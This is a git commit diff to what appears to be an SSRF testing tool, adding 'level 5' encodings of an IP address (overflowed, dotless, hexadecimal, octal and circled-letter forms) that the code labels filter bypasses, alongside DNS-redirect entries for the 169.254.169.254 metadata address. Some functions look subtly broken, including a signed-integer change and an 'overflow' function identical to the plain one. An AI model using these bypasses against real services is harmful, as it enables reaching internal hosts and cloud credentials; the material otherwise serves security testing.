Add some new ip representations for level 5
parent
7f3822b67f
commit
ba5a8be181
|
@ -40,20 +40,72 @@ def ip_default_cidr(ips, ip):
|
|||
ips.add("127.42.42.42")
|
||||
ips.add("127.127.127.127")
|
||||
|
||||
|
||||
def ip_decimal_notation(ips, ip):
|
||||
try:
|
||||
packedIP = socket.inet_aton(ip)
|
||||
ips.add(struct.unpack("!L", packedIP)[0])
|
||||
packedip = socket.inet_aton(ip)
|
||||
ips.add(struct.unpack("!l", packedip)[0])
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def ip_dotted_decimal_with_overflow(ips, ip):
|
||||
try:
|
||||
ips.add(".".join([str(int(part) + 256) for part in ip.split(".")]))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def ip_dotless_decimal(ips, ip):
|
||||
def octet_to_decimal_part(ip_part, octet):
|
||||
return int(ip_part) * (256 ** octet)
|
||||
|
||||
try:
|
||||
parts = [part for part in ip.split(".")]
|
||||
ips.add(str(octet_to_decimal_part(parts[0], 3) + octet_to_decimal_part(parts[1], 2) + octet_to_decimal_part(parts[2], 1) + octet_to_decimal_part(parts[3], 0)))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def ip_dotted_hexadecimal(ips, ip):
|
||||
def octet_to_hex_part(number):
|
||||
return str(hex(int(number)))
|
||||
|
||||
try:
|
||||
ips.add(".".join([octet_to_hex_part(part) for part in ip.split(".")]))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def ip_dotted_octal(ips, ip):
|
||||
def octet_to_oct_part(number):
|
||||
return str(oct(int(number))).replace("o","")
|
||||
|
||||
try:
|
||||
ips.add(".".join([octet_to_oct_part(part) for part in ip.split(".")]))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def ip_dotless_decimal_with_overflow(ips, ip):
|
||||
|
||||
def octet_to_decimal_part(ip_part, octet):
|
||||
return int(ip_part) * (256 ** octet)
|
||||
|
||||
try:
|
||||
parts = [part for part in ip.split(".")]
|
||||
ips.add(str(octet_to_decimal_part(parts[0], 3) + octet_to_decimal_part(parts[1], 2) + octet_to_decimal_part(parts[2], 1) + octet_to_decimal_part(parts[3], 0)))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def ip_enclosed_alphanumeric(ips, ip):
|
||||
intab = "1234567890abcdefghijklmnopqrstuvwxyz"
|
||||
|
||||
if ip == "127.0.0.1":
|
||||
ips.add("ⓛⓞⒸⒶⓛⓣⒺⓢⓣ.ⓜⒺ")
|
||||
ips.add("ⓛⓞⓒⓐⓛⓣⓔⓢⓣ.ⓜⓔ")
|
||||
|
||||
outtab = "①②③④⑤⑥⑦⑧⑨⓪ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏ"
|
||||
outtab = "①②③④⑤⑥⑦⑧⑨⓪ⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ"
|
||||
trantab = ip.maketrans(intab, outtab)
|
||||
ips.add( ip.translate(trantab) )
|
||||
|
||||
|
@ -72,11 +124,11 @@ def ip_dns_redirect(ips, ip):
|
|||
ips.add("169.254.169.254.xip.io")
|
||||
ips.add("1ynrnhl.xip.io")
|
||||
|
||||
def gen_ip_list(ip, level) :
|
||||
def gen_ip_list(ip, level):
|
||||
print(level)
|
||||
ips = set()
|
||||
|
||||
if level == 1:
|
||||
if level == 1:
|
||||
ips.add(ip)
|
||||
|
||||
if level == 2:
|
||||
|
@ -91,8 +143,14 @@ def gen_ip_list(ip, level) :
|
|||
ip_decimal_notation(ips, ip)
|
||||
ip_enclosed_alphanumeric(ips, ip)
|
||||
|
||||
# if level == 5:
|
||||
# more bypass will be added here
|
||||
if level == 5:
|
||||
ip_dotted_decimal_with_overflow(ips, ip)
|
||||
ip_dotless_decimal(ips, ip)
|
||||
ip_dotless_decimal_with_overflow(ips, ip)
|
||||
ip_dotted_hexadecimal(ips, ip)
|
||||
ip_dotted_octal(ips, ip)
|
||||
|
||||
|
||||
|
||||
for ip in ips:
|
||||
yield ip
|
Loading…
Reference in New Issue